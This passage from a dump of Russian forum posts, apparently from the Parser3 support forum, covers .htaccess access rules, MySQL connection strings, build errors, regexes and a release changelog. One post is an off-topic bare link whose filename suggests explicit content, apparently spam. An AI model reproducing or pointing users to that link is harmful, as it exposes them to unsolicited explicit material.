		<img src=\"../images/count/n${imagescr}.gif\" align=\"absmiddle\" height=\"15\" border=\"0\" alt=\"$count\">\
	\
	}[ ]\
\
\
пример на http://vavan.fatal.ru"
"18911","Да, кстате, у меня неполучается закачать на хост .htaccess, с запретом на доступ к .txt и .p-файлам.. Я вобще непонимаю, как он еще работает. Может кто знает как это сделать?"
"18912","Этих, которые самые умные и лучше всех, что-ли так много будет?"
"18915","Хм, а зачем впринципе создавать отдельную базу например или расширять существующую, если можно куками работать. У каждого юезра свой кукис - ну и получается база своя этакая))\
\
Вообще, при разговоре с другом из ibs, возникла вопрос-мысль о том, что тяжелее - база на сервере или куки)"
"18916","вручную выдаётся статус \"зубр\" (\"мастодонт\", \"динозавр\") двум-трём десяткам \"проверенных товарищей\".\
initial установка статусов - среднее число реплик в месяц за последние четыре-пять месяцев или присутствие на форуме дольше года + число реплик более десяти - статус \"давнего пользователя\".\
Меньше 10 реплик - новичок, все остальные - обычные пользователи.\
\
Затем обычным пользователям выдаём по счётчику, на котором - нуль, и уже в автоматическом режиме смотрим, что он пишет. Одна реплика - балл, реплика, на которую сделано больше 5 ответов - пять баллов, реплика, в которой более полукилобайта текста, не считая цитат - три балла. Набрано сто баллов - переводим в число \"давних пользователей\". Логично?\
\
P.S. В порядке шутки: http://forum.gfk.ru/forum/message_22282.html?setdesign=new"
"18917","Ну, что за тупость!!! Закачиваю туда .htaccess, со всеми настройками, а он падла всеравно дает доступ .p и .txt файлам!!!\
Прийдется временно закрыть свой сайт, пока не разберусь :(((("
"18918","но 5 баллов за более пяти ответов...\
а ясли бредовый вопрос и 6 возмущенных ответов?\
И за это 5 баллов?\
\
В принципе, и так нормально, но может упразднить \"бальную систему\", и придумать коэффициент какой-нить с учетом длительности пребывания на форуме и кол-ва реплик...\
\
А может и нет. :)"
"18919","Народ хотелось бы услыхать ответ!!!\
\
\
http://www.parser.ru/forum/?id=18898"
"18920","...а может ещё что-то... что пишет-то конкретно в какой строке?\
\
вариант\
[code]\
^connect[odbc://DSN=test]{....} \
[/code]\
точно не сработает?"
"18921","http://static.stileproject.com/rnd/img/fistme21.jpg"
"18922","Народ расскажите если знаете принцип работы чата\
я не могу понять как ..... он работает\
я пишу сообщение а оно должно посылаться куда\
либо клиент сервер !\
как это долно выглядеть?"
"18923","так... если маленький оператор, это уже значит НЕ стандартная авторизация, разве не так???"
"18925","собственно решено для сайта сделать короткую анкету с помошью парсера и mysql. из себя она представляет пару форм для ввода имени/фамилии и готовые вопросы с вариантами ответов. \
\
Очень хотелосьбы усышать как это можно реализовать, подскажите в каком направлении думать. Заранее всем спасибо."
"18926","т.е. когда выпрыгивает окошко авторизации, с .htaccess, .htpasswd (ну там, mod_auth_sql иногда) и всеми делами.\
\
А любая другая самодеятельность (с сессиями, куками, HTML-формами) это уже НЕстандартная авторизация."
"18929","ИМХО там больше JavaScript, чем парсер, поскольку куча геморроя с корректным обновлением списка сообщений. Я делал так: логин юзера, создается сессия (можно кукой обойтись, в принципе, но тогда нужно проверять уникальность имени), открывается окошко со списком сообщений (у меня iframe или, видимо, можно textarea), и формой поста месседжа (которая отправляется javascript через hidden iframe). Еще есть 2 скрытых iframe, один рефрешится каждые N секунд ($response:refresh), при рефреше запрос в базу с табличкой сообщений (по id сессии, которая у юзера в форме поста/куке). Если новые мессаги есть - JavaScript пишет их в список мессаг чата. Второй скрытый фрейм - для отправки мессаг юзера (чтобы основной экран не перегружать при посте). Плюс хитрое кеширование - чтобы в БД не делать запросов каждые 5 секунд (это еще не отладил, но делать кеш надо однозначно). \
Не проблвал, как сие работает под большой нагрузкой, но, ИМХО, сделать то же самое на mod_perl гораздо правильнее, чем на Parser. Кстати, буду признателен за мысли на сей счет."
"18931","я делал чат на парсере... без всяких наворотов, типа обновления через JS... при каждом обновлении запрос с ДБ, без кеширования...\
Сидят в среднем 10-20 чел... и ничего, работает нормально... не глючит...\
\
[i]P.S.: базу не жалко, не моя :)[/i]"
"18932","Скажите, можно ли работать с Perl 3 на ОС Solaris 5.8 (или 5.9) и СУБД SyBase 12.5?\
Если да то,что тут можно посоветовать?\
\
Заранее спасибо."
"18933","Народ, у меня проблема... немогу выкачать свой .htaccess на хост, кто нибудь сталкивался с такой проблемой. Дело в том, что он вроде как записывается туда, но если обновить FTP клиент, тут же исчезает. Я так понял, что хост нехочет понимать файла без имени, потому что если даже пробел поставить перед точкой то \" .htaccess\" сохраняется, но я думаю он так не будет работать (точнее неработает). А может есть способ как нибудб обойтись без .htaccess, А........!!!"
"18934","Допустим, пользователь удалил печеньку или переставил систему, не сохранив печеньки, и при посещении у него не отобразяться новыее сообщения, т.к. нету даты последнего выхода, потипу не выходил он."
"18935","...\
Здрасте при написании гостевой книги мне надо сделать, чтобы в поле t заменялись символы типа :) на рисунок.\
...\
\
Помогите очень срочно нужен!!!"
"18936","Бывает, что файл надо класть не в корневую папку а в папку www(или htdocs) или наоборот. Еще проще бывает написать непосредственно в службу поддержки хостинга."
"18937","Сейчас ради интереса зарегистрировал [url=\"http://grudzinski.hoha.ru\"]сайт[/url] на FATAL,  ни каких проблем не возникло. Все файлы видны. Вообще, всё что там обещают, работает.\
\
Такое ощущение, что это в вашем FTP клиенте проблема, из редактора UltraEdit, я тоже не вижу файла .htaccass,  но если ввести руками, открывает.\
\
Parser тут не причём, это либо хостинг виноват, либо вы."
"18938","На моих страницах, мне необходимо указать дату последнего изменения файла (с точностью до дня), и дату истечения срока годности (с точностью до минуты). \
\
Необходимо, чтобы это работало и на моей локальной машине (win32, GMT-0500), и на моём хостинге (linux, GMT+0300), то есть, необходима полная переносимость кода вне зависимости от часового пояса и летнего времени. \
\
В сообщении, на которое я ссылаюсь, видна моя самостоятельная попытка тестирования выдачи времени изменения файла, как вы и советовали. Как можно заметить, попытка неудачная, и я прошу вас помочь мне сделать то, что мне необходимо, в \"духе парсера\"."
"18939","Такое ощущение, что только что вы на основе примеров создали сайт. [i]Всё вроде ништяк, но блин примочки модной не хватает, а делать не охота и вообще с этим разбираться в лом. Дай думаю задам этот вопрос людям, может, найдётся кто-то, кто ответит. Зайти в раздел «документация» и поискать по ключевому «замена» слову, так в падлу.[/i]\
\
Извиняюсь если это не так."
"18940","На юникс системах, файлы, имена которых начинаются с точки, являются \"скрытыми\" файлами. Если вы используете shell, то для просмотра всех файлов, используйте команду la, ll, или ls -a, вместо обычного ls. \
\
Для ответа на ваш вопрос, можно было использовать поиск. PAF уже отвечал на ваш вопрос:\
[url=./?id=5298]# ftp: как починить \"на хостинге не видно .htaccess файлов\", Александр Петросян (PAF) [15.08 17:26][/url]"
"18941","Создаете в БД таблицу, а в ней поля, например: id, name, surname, q1_answer, q2_answer(где q1_answer и q2_answer соответственно -- ответ на вопрос 1 и ответ на вопрос 2). На странице создаете форму, а внизу пишете скрипт на Парсере, который берет подключаеться к БД, проверяет все ли заполнено в форме и вписывает данные в БД.\
Пример скрипта выполняющего подобные функции можно найти в уроке 4 документации по Парсеру."
"18942","Ненавижу такие ответы. Не нравится? НЕ ОТВЕЧАЙ? Х. ПОНТЫ НАРЕЗАЕШЬ? ТЕБЕ НЕ ПОХ.?"
"18943","...\
ИМХО но ты прав понты эти нах не нужны, а вот когда кто-то что-то дельное говорит вот - это я уважаю :)\
..."
"18944","Вот если б вы прочитали моё сообщение до конца, вы бы нашли ответ на заданный вами вопрос и узнали о методе [b]replace[/b] и [b]таблицах подстановок[/b].\
\
[i]Помогите очень срочно нужен[/i] - Это вы что имели в виду, код? Тогда о каких «понтах» идёт речь, я сказал так как есть на самом деле."
"18945","Последнее соображение ключевое :) Хотя если 10-20 человек одновременно сервер не валят - с кешированием я видимо перестарался :("
"18946","http://www.parser.ru/forum/?id=18882"
"18947","Предисловие: обшарил много док (почему-то они более-менее одинаковые :)), но к величайшему сожалению так и не понял как же исправить... :( Даже по форуму искал, но не нашел удовлетворительного ответа.\
\
Так вот, проблема состоит в следующем:\
\
в XML-файле и XSL-шаблоне есть такая строка: encoding=\"windows-1251\", но если я в шаблоне пишу кириллецей, то он мне выдает ошибку «недопустимый знак», а если я эту же строку, набранную кириллицей, буду выдирать из XML с данными, то все будет пучком, почему? Ведь и в XML, и в XSL указана одна и та же кодировка...\
\
P.S.\
...не только указана, но и активно используется!"
"18948","С первого раза нашел ответ\
http://www.parser.ru/forum/?id=9800\
И еще прочтите вот это, и в следующий раз думайте прежде чем вопросы задавать.\
http://www.parser.ru/forum/?id=18155"
"18949","значит реальная кодировка шаблона может и != windows-1251, и неважно что написано в encoding. У меня в шаблонах можно писать всё что угодно и по-русски и всё работает."
"18950","...\
Окей в следующий раз будем рыть форум, д и покывярюся с replace.\
..."
"18951","вы можете оформить это дело в виде bug.xml+bug.xsl+bug.html, сделать bug.zip и прислать почтой, с указанием версии и платформы, на которой вы испытываете проблему?"
"18952","то есть какие ответы более популярны а какие нет. то есть составление отчетов."
"18953","У меня возникла проблема с установкой P3 на хостинге majordomo, все переписал, установил, parser3.cgi запускается (когда запускаю Index.html), однако выдает \"Unhandled Exception\", а в parser3.log пишет следующее \
\
[Fri Jul 25 11:33:56 2003] /: 'main' method not found [parser.runtime] \
\
Как быть подскажите пожайлуста?"
"18954","Какой браузер изображен на скриншоте\
http://www.artlebedev.ru/portfolio/nokia/site2/ \
?\
\
Прошу прощения за off-topic."
"18955","Parser у вас стоит, просто отсутствует метод main в коде."
"18957","Спасибо с первым разобрался, НО :( у меня возникла новая проблема, может кто знает, немогу теперь отредактировать этот долбанный .htaccess. Не отредактировать, не сверху записать, не удалить, неполучается. На хост я писал, но ответа видимо не дождусь, а то что они предлагают при подключении ParserA обеспечивает свободный доступ ко всем (.p,.cfg) файлам."
"18958","Не совсем туда месагу воткнул, она должна была бы быть сдесь http://www.parser.ru/forum/?id=18933. Мой хост fatal.ru для уточнения."
"18959","Думаю пример из зверинца Вас устроит.\
\
O'Relly HTML Reference\
[бла-бла-бла... скипнуто]\
Example:\
<FORM NAME=\"orders\" METHOD=POST ACTION=\"http://www.giantco.com/cgi-bin/order\">\
...\
</FORM>\
...\
Object Model Reference\
...\
IE [window].document.formName\
   [window].document.forms[i]\
\
Без комментариев. Обработка или отлов имени формы не так уж необходим как оказалось на самом деле :-) Можно таки посылать данные в персональный обработчик (action), а уж тот грузит ту страницу, которая нам требуется. Но это уже не так интересно."
"18960","3.1 и 3.0.8 это хорошая новость. Теперь плохая - у 3.1 похоже есть огромные проблемы с производительностью replace. Во всяком случае меня они задели.\
\
Теперь опять хорошая новость - XSLT преобразование в 3.1 дает более оптимальный код с точки зрения размера, т.к. он убирает много ненужных переводов строк."
"18961","Это конечно замечательно :)\
Но вот что-то первая попытка собрать парсер из CVS вышла комом с надписью\
config.status: creating src/targets/apache13/hook/Makefile\
config.status: error: cannot find input file: src/targets/apache13/hook/Makefile.in\
В чем тут секрет?"
"18962","В auto.p у меня пробито следующее:\
$connect_string[mysql://login:parol192.168.0.7/database]\
\
Далее (при запуске Index.html) возникает ошибка, и в логе пишется следующее:\
 'mysql://****@192.168.0.7/database' Access denied for user: 'login@' to database 'database' [sql.connect] \
\
Как быть, помогите плз?"
"18963","это моя ветка в разработке. она может вообще не компилироваться.\
\
отвечаю за ветки release_*."
"18964","только что попробовал.\
\
Теперь предложение к Александру - могу выслать парсер версии 3.0.8, собранный под FreeBSD ибо вы выложили только 3.1 для указанной ОС"
"18965","если кому не лень, пришлите 1.0.8 для linux redhat."
"18966","должно быть:\
$connect_string[mysql://login:parol@192.168.0.7/database]"
"18967","жалко линукса здесь нет под рукой, а то бы собрал конечно. Если только согласитесь до вечера подождать."
"18968","если не ошибаюсь, содержимое атрибута name тега <form> не передаётся на сервер при сабмите, так что Парсер4 вряд ли вам тут помог бы. Это не предусмотрено стандартом, данный атрибут может вам пригодиться только на клиентской стороне для документ.имя_формы.какого_либо_действия()"
"18969","в разделе [url=\"http://www.parser.ru/download/win32/\"]скачать Win32[/url] выложены модули для Apache 1.3. а поддержка Apache 2 таким же макаром планируется?"
"18970","я знаю, что apache подправляет даты в будущем, уменьшая их до «сейчас». думаю, он должен нормально обрабатывать даты в прошлом.\
\
как понимаю, очевидное у вас не работает?\
посмотрите, что выдаёт в итоге apache: copy/paste сюда ваш код+текст ответа apache [можно посмотреть командой wget -d]."
"18971","оно так и есть, простоя описался когда сообщение писал....и все равно не работает.. :("
"18972","так себя ведёт OS.\
\
почему: пока не разобрался."
"18973","очевидно нет доступа к БД. как говориться, обратитесь к администратору"
"18976","буду сначала разбираться, потом, если надо, исправлять.\
\
пока могу сказать, что на сайтах, где мы тестировали, проблемы не было.\
\
надо заметить, код с проблемой весьма специфичен. возможно, поэтому проблема не была обнаружена."
"18978","Я уточнил в своем вопросе, что windows-1251 активно используется..."
"18979","Подскажите парсер 3.007 для RH7 ставится на RH9\
\
Я незнаю как parser на linux назначить обработчиком.\
\
если я пишу в файл /etc/httpd/conf/httpd.conf\
\
то он пишет\
\
[an error occurred while processing this directive] The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. [an error occurred while processing this directive] The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. [an error occurred while processing this directive] The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. [an error occurred while processing this directive] The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. [an error occurred while processing this directive] The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. [an error occurred while processing this directive] \
\
Что делать?\
Как разрешить использование файлов .htaccess"
"18980","Я пишу\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>"
"18981","сам так на днях долго прикалывался, пока права не посмотрел."
"18983","Во-первых,\
Чтобы задействовать использование файлов .htaccess надо изменить\
в httpd.conf команду AllowOverride для вашего виртуального хоста...\
У вас стоит аргумент None его и надо изменить на All...\
\
Во-вторых, Вы что хотите версию для win32 запустить на RH9 ?\
Почему .exe ?\
\
В .htaccess пишите назначение парсера обработчиком html-страничек :\
[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
З.Ы Обрати внимание на юзера и группу апача и парсера, чтоб не получить safe mode :)"
"18984","Да, через phpmyadmin прекрасно заходит"
"18985","Я извиняюсь за вопрос почти не в тему, но все же: от чего зависит доступность страницы в автономном режиме? Потому как, на локалхосте в автономке сайт пашет, а на серваке у провайдера нет. От сервера значит?"
"18986","config(1): '/var/www/cgi-bin/parser3/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/cgi-bin/parser3/auto.p'  type: parser.runtime"
"18988","Было бы хорошо посмотреть на HTTP-заголовки ответа разных серверов и сравнить..."
"18990","Может дочитаешь моё сообщение до конца...\
\
http://www.parser.ru/forum/?id=18983\
\
Или загляни в FAQ"
"18991","Safari (Mac)"
"18992","... для ленивых и глупых, вроде меня. Хотя, можно конечно и не объяснять. Само сейчас всё выясниться :))))"
"18993","[quote]Выпущена версия 3.1.0:\
\
Теперь можно освободить память, занимаемую более не использующимися объектами («не используются» = на них нигде нет ссылок): ^memory:compact[], $status:memory.\
\
Ужесточены правила именования переменных окружения для ^file::exec/cgi[…], теперь имя должно быть написано латинскими буквами в верхнем регистре или цифрами, также допустимы минус и подчеркивание.\
\
Теперь имя кодировки нечувствительно к регистру.\
\
Теперь можно задать кодировку HTTP запроса.\
\
Теперь документ, получаемый по HTTP, перекодируется в $request:charset кодировку.\
\
Выпущена версия 3.0.8:\
\
Изменено поведение ^file::exec/cgi[…]: теперь они не будут автоматически получать данные POST запроса. Если эти данные необходимо передать, теперь это надо сделать явно:\
$.stdin[$request:body]\
\
Изменено поведение name: теперь, если в хеше есть элемент, одноименный методу, будет взят элемент, не метод.\
\
Добавлена опция поиска в таблице: $.reverse(1) — теперь можно искать и в обратном направлении.\
\
Добавлены опции ряду методов класса table: $.limit(N), $.offset(N) — теперь можно ограничить операцию частью таблицы.\
\
Добавлена опция преобразования таблицы в хеш: $.distinct[tables] — теперь можно получить ассоциативный массив ключ&#8594;таблица из строк с этим ключом.\
\
Изменен алгоритм получения случайного числа: теперь на Unix он использует системные устройства /dev/random и|или /dev/urandom, на Win32: системные функции библиотек шифрования.\
\
Добавлены методы: ^math:uuid[], ^math:uid64[], позволяющие получить уникальные идентификаторы.\
\
Добавлен метод: ^math:md5[…], вычисляющий MD5-отпечаток строки.\
\
Теперь $status:rusage доступен и на Win32 (автор: Виктор Федосеев, большое спасибо ему).\
\
Исправлены ошибки:\
элемент хеша «_default» более не подпадает под foreach;\
на Linux теперь работает timeout при HTTP-запросах;\
в письмах и полях HTTP-запросов/ответов дата теперь имеет стандартный формат\
(в качестве разделителей теперь пробелы вместо минусов); SQL-драйвер Oracle: теперь нормально работает с запросы с несколькими CLOB-полями.[/quote]"
"18994","... ещё несколько вопросов:\
Есть ли Бог?\
В чём смысл жизни?\
Откуда берётся пыль?\
Куда деваються деньги?\
Кто виноват?\
Что делать?\
Сколько можно?\
...\
...\
..."
"18998","в этой же теме. Использовал telnet-клиент PuTTY. \
Вот ссылка: \
[url=./?id=18613]да, именно!, Constantine [16.07 23:50][/url]"
"18999","Ваш сервер отказывается принимать какую-либо почту с моего адреса. Куда можно написать письмо? \
[code]\
   ----- The following addresses had permanent fatal errors -----\
<paf@design.ru>\
    (reason: 550 5.7.1 Access denied)\
\
   ----- Transcript of session follows -----\
... while talking to gw.design.ru.:\
\
>>>>>> MAIL From:<здесь было имя пользователя, собака и домен>\
\
<<< 550 5.7.1 Access denied\
554 5.0.0 Service unavailable\
[/code]"
"19000","в документации написано, что фича доступна только в 3.1, но на главной странице утверждается, что фича доступна с версии 3.0.8. Кому верить? ;-)"
"19001","Пробовал $request:Host, выдаёт ошибку... \
Придётся выключать UseCanonicalName и использовать $env:SERVER_NAME ? Больше никак нельзя?"
"19004","http://www.egoroff.spb.ru/download/parser3/"
"19005","Когда XSL-ем из XML-я выдираем строку примерно такого вида:\
\
[code]что-то там&#160;&#151;[/code]\
\
то он вместо тире отображает квадратик :), т.е. говорит, что в шрифте нет этого символа, хотя если я его не буду брать из XML-я, а просто в нужном месте напишу в XSL-е, то все будет хорошо.\
\
Почему?"
"19006","При обращении к тестовой странице вылазит 404:\
Запрашиваемый документ /cgi-bin/parser3.cgi/_test.html не найден на сайте.\
В чём может быть дело? Права на parser3.cgi (закачивал в binary) и /cgi-bin/ стоят 755, .htaccess залил и что надо прописал.\
А при обращинии к /cgi-bin/parser3.cgi -- 500 ошибка."
"19007","Что-то торможу и не могу написать subj. В номере должны быть только цифры, символы \"-\", \"(\", \")\", \" \", \"+\"... Может есть кто посообразительнее?"
"19008","[code][\\d\\s\\(\\)\\+]+[/code]\
\
Такой телефон соответствует: [i]+972 (67) 987891[/i]"
"19010","http://www.parser.ru/forum/?id=17921"
"19011","Если не определять переменную $MAIN:CLASS_PATH и создать новый класс, то при попытке его использования в логах воявляется: \"[Xxx Xxx XX XX:XX:XX XXXX] /: c:/apache/htdocs/index.html(1): 'myclass.p' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime]\"."
"19014","Как вы подключаетесь БД MySQL?\
Я пишу: $connect_string[mysql://user:password@localhost:3306/db]\
А он не хочет..."
"19015","Почему код располагается горизонтально, например на всех страницах parser.ru? От чего зависит?"
"19016","только интересно, знает ли о ней многоуважаемый Артемий? \
Интересно даже то, что заблокирован, получается, не только их SMTP-сервер, но и вся сеть, так как я пробовал отсылать письмо со своего локального FreeBSD-сервера. \
Хорошо, будем писать с бесплатного яндекса..."
"19017","Делаю все как указанно в файле INSTALL перепробовал все возможные комбинации, а также более свежую версию gmime\
При сборке получаю, кучу сообщений об ошибках которые привожу ниже. Кто-нибудь пробовал собрать парсер с mailreceive под линукс?\
\
[code]\
make[2]: Вход в каталог `/home/tamboar1/parser/3_1_0/parser3/src/types'\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../classes -I../sql -I../lib/pcre -I../lib/gc/i\
nclude -I../lib/cord/include -I../classes/gd -I/home/tamboar1/parser/lib/gnome/include/glib-1.2 -I/h\
ome/tamboar1/parser/lib/gnome/lib/glib/include -I/home/tamboar1/parser/lib/gnome/include -I/home/tam\
boar1/parser/lib/gnome/include/libgdome -I/home/tamboar1/parser/lib/gnome/include/libxml2 -I/home/ta\
mboar1/parser/lib/gnome/include/glib-1.2 -I/home/tamboar1/parser/lib/gnome/lib/glib/include -I/home/\
tamboar1/parser/lib/gnome/include/gmime    -g -O2 -MT pa_vmail.o -MD -MP -MF \".deps/pa_vmail.Tpo\" \\\
  -c -o pa_vmail.o `test -f 'pa_vmail.C' || echo './'`pa_vmail.C; \\\
then mv \".deps/pa_vmail.Tpo\" \".deps/pa_vmail.Po\"; \\\
else rm -f \".deps/pa_vmail.Tpo\"; exit 1; \\\
fi\
In file included from /home/tamboar1/parser/lib/gnome/include/gmime/gmime.h:27,\
                 from pa_vmail.C:24:\
/home/tamboar1/parser/lib/gnome/include/gmime/gmime-charset.h:45: warning: This file contains more `\
}'s than `{'s.\
In file included from /home/tamboar1/parser/lib/gnome/include/gmime/gmime.h:28,\
                 from pa_vmail.C:24:\
[/code]\
\
и так далее ..."
"19018","Если ты имеешь ввиду код html-страниц, - то это оптимизация кода... зачем нужны лишние пробелы?"
"19019","У меня на аккаунте валуя работает просто - mysql://user:pass@localhost"
"19020","html-код конечно. Как же провести оптимизацию?"
"19021","Пишет вот так: $SQL:drivers table must be defined"
"19022","На [url=\"http://www.egoroff.spb.ru/\"]сайте[/url] господина Егорова есть небольшая статья на этот счет... посмотри"
"19023","http://www.egoroff.spb.ru/portfolio/18.html\
\
Я это все сунул в auto.p. А в @main[] пытаюсь вызвать ^postprocess[buffer][attr_string;code;code_num;replace]\
^@trim[str;char][chr;tbl]\
Знаю, что не правильно пытаюсь. Как правильно?"
"19025","Он и так обрабатывается..."
"19026","Да ну? Вроде ничего не происходит тогда..."
"19027","С какими настройками? Как он не считывается? Остально ведь с auto.p работает. А разве проблема не в драйверах SQL?"
"19028","Про postprocess :\
http://www.parser.ru/docs/lang/?mainclass.htm"
"19029","Да."
"19030","поиск рулит..."
"19031","Меня чего то смутило\
\
Добавление такого определения, скажем, в файл auto.p в корне вашего веб-пространства… \
@postprocess[body] \
^body.match[шило][g]{мыло} \
\
…приведет к замене одних слов на другие в результатах обработки всех страниц.\
\
Что значит в корне? Я вставил @postprocess в самом начале auto.p, перед всем остальным."
"19033","Если ты используешь Денвер и хочешь смотреть оптимизацию всех своих сайтов то логичнее было вставить в auto.p который лежит рядом с парсером...\
\
Ну а в корне - означает в корневой директории веб-пространства (тоесть вставляем в самый-самый auto.p:)\
Тот который ../www/auto.p  или ../htdocs/auto.p"
"19034","Ну а если на Valuehost?"
"19035","Я же написал - значит в ../htdocs/auto.p"
"19036","Так в том и дело, что там нифига не происходит... Ладно забьем. На мой взгляд я хороший код написал. По-мойму оптимизировать нечего. (может по тому и не происходит ничего:)) Подскажи лучше насчет SQL :)"
"19037","Ты у себя на валуе нигде подобного не писал:\
\
@conf[/path/to/auto.p]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
]"
"19038","Поставил себе Денвер 2 написал станичку, запустил, а текст который из базы данных вот [ в таких скобках].  Извините , но в форуме ничего не нашел... Хотя искал вроде долго..(("
"19041","Тогда ещё это, задумка такая: пропускает номера телефонов только если знак плюса стоит в начале, либо не стоит :), а дальше могут идти только цифры или цифры в скобках или пробелы или дефисы.\
[code]^\\+?(?:\\d|\\s|(?:\\(\\d+\\))|-)+$[/code]"
"19042","это в новом Парсере с XSL-transform что-то наворочено...\
\
см. тут: http://www.parser.ru/forum/?id=18245\
и потом тут: http://www.parser.ru/forum/?id=18960"
"19043","Понял, грустю...\
Работаем посредством action :-)"
"19044","Ибо спама с машин пользователей крупнейших американских провайдеров, заражённых вирусами напрямую сыпется немеряно. А сейчас наметилась тенденция к тому, что этот спам иногда пересылается через SMTP провайдера. Реагировать на abuse@ этот \"крупнейший американский провайдер\" не в состоянии. И пока не окажется в состоянии - у его клиентов будут подобные проблемы.\
\
Однако, лично я против блокирования SMTP у крупных провайдеров [i]при любых обстоятельствах[/i] (однако, блокирование почты со \"своих локальных серверов\" - необходимо)."
"19046","Если запустить файл parser3.exe, то выдает ошибку:\
\
This application has failed to start because gc.dll was not gound. Re-installing the application  may fix this problem.\
\
Это нормально? (WinXP)"
"19048","Просто нечаяно назначил функции дополнительную переменную)))"
"19049","Или она все-равно нужна?"
"19050","Установи с поддержкой XML (может пригодится, удобная вещь) проблем точно не будет."
"19053","http://www.spearance.ru/parser3/regex/?no=9\
\
3-е сверху правило."
"19054","gc.dll это сборщик мусора, а не XML просто в Студии забыли написать что для 3.1 она нужна всегда"
"19055","При попытке запустить выдает сообщение - библиотека gc.dll не найдена.\
Что это и у кого есть, поделитесь."
"19057","...вообще ничего не выводит, а только сообщает о недопустимом символе... :("
"19058","благо грамматика parser написана на том же bison, что и остальные грамматики в doxygen = напрашивается.\
\
впрочем, несложную авто-документацию можно написать на самом parser. насколько знаю, уже несколько написано, только их авторы кого-то стесняются."
"19059","возьмите старее версию, может автор в новой что-то намудрил.."
"19060","обновлено описание слево.\
\
было забыто, факт."
"19061","думаю, это были те несчастные минусы, разделяющие поля даты."
"19062","Приметр из доки не работает.\
parser3.1.0, w2k, sp4 \
\
может у меня одного???\
[code]\
^cache[/data/cache/test1](5){ \
   Нажимайте reload, меняется каждые 5 секунд: ^math:random(100) \
} \
[/code]\
\
\
P.S. В parser3_3_0_0007  все OK..."
"19063","Наверняка не объявил, что такое &mdash;"
"19065","думаю, к концу недели родим sp1.."
"19068","Спасибо."
"19069","Пишу адрес http://xxx.xxx.xxx.xxx (ip), получаю --\
\"Запрашиваемый документ /cgi-bin/parser3.cgi/index.html не найден на сайте.\"\
На форуме искал, нашёл что ПАФ писал по поводу \
CharsetDisable On, попробовал -- нефига не помогает.\
Права на parser3.cgi (закачивал в binary) и /cgi-bin/ стоят 755, .htaccess залил и что надо прописал.\
А при обращинии к /cgi-bin/parser3.cgi -- 500 ошибка, и при этом в еррор.лог записывается версия парсера.\
Админу сказал, а он руками развёл, сказал что попробует сам  поставить...Но я так понимаю, что он сюда же (в форум) и полезет..."
"19070","[b]gc[/b] я собрал, сделал\
\
./configure --prefix=$HOME/parser3_1project/ --with-shared-gc=$HOME/parser3_1project/gc/lib\
\
[code]\
configure: creating ./config.status\
config.status: creating Makefile\
config.status: creating src/Makefile\
config.status: creating src/types/Makefile\
config.status: creating src/classes/Makefile\
config.status: creating src/classes/gd/Makefile\
config.status: creating src/classes/smtp/Makefile\
config.status: creating src/include/Makefile\
config.status: creating src/main/Makefile\
config.status: creating src/sql/Makefile\
config.status: creating src/lib/Makefile\
config.status: creating src/lib/patches/Makefile\
config.status: creating src/lib/gc/Makefile\
config.status: error: cannot find input file: src/lib/gc/Makefile.in\
bash$\
[/code]\
\
Что такое, может лечиться как?\
\
PS: все тот же AIX 4.3.2 :)\
Не везет однако мне, думал хоть 3.1 соберется ... ни фига."
"19071","сегодня днём скачал p3.1, хотел поиграться с rusage, а оно говорит, что  \"class is undefined  status\". код старательно copy/paste из доки:\
\
это из корневого auto.p:\
[code]\
@rusage[comment][v;now;prefix;message;line;usec] \
#вот на этой строке ругань\
$v[$status:rusage]\
...\
[/code]\
\
a это из index.html:\
[code]\
@main[]\
# тут идёт какой-то скрипт .....\
^rusage[total]\
^musage[total]\
[/code]"
"19072","Файлы сохраненные в UTF-8 из HomeSite (да и Notepad тоже) имеют в начале сигнатюру, которая не нравится П 3.1... :("
"19073","[code]\
configure: creating ./config.status\
config.status: creating Makefile\
config.status: creating src/Makefile\
config.status: creating src/types/Makefile\
config.status: creating src/classes/Makefile\
config.status: creating src/classes/gd/Makefile\
config.status: creating src/classes/smtp/Makefile\
config.status: creating src/include/Makefile\
config.status: creating src/main/Makefile\
config.status: creating src/sql/Makefile\
config.status: creating src/lib/Makefile\
config.status: creating src/lib/patches/Makefile\
config.status: creating src/lib/gc/Makefile\
config.status: error: cannot find input file: src/lib/gc/Makefile.in\
bash-2.03$ uname -a\
FreeBSD unixoid.tversu.ru 3.4-RELEASE FreeBSD 3.4-RELEASE #1: Fri Feb 18 11:49:11 GMT 2000     edison@unixoid.tversu.ru:/usr/src/sys/compile/Unixoid  i386\
bash-2.03$\
[/code]\
\
Может, я что в INSTALL пропустил?"
"19074","возьмите архив с исходником ещё раз."
"19075","в email копии вашего сообщения наблюдаю два пробела:\
[code]\"class is undefined  status\"[/code]"
"19076","какая сигнатура у файла, который не прочёлся?\
\
важно: не путать UTF-8 и Unicode, точно не наш случай?"
"19077","Угу, именно \"EF BB BF\", я чего-то недопонимаю?\
--\
на счет \"не путать\": я, просто, выбираю в качестве опции сохранения Save As -> UTF-8..."
"19079","а ошибка была в make dist = в архиве и Скачать/Исходники"
"19082","так бы сразу и написали [мыло], что используете модуль к apache.\
там надо включать \
[code]\
    ParserStatusAllowed\
[/code]\
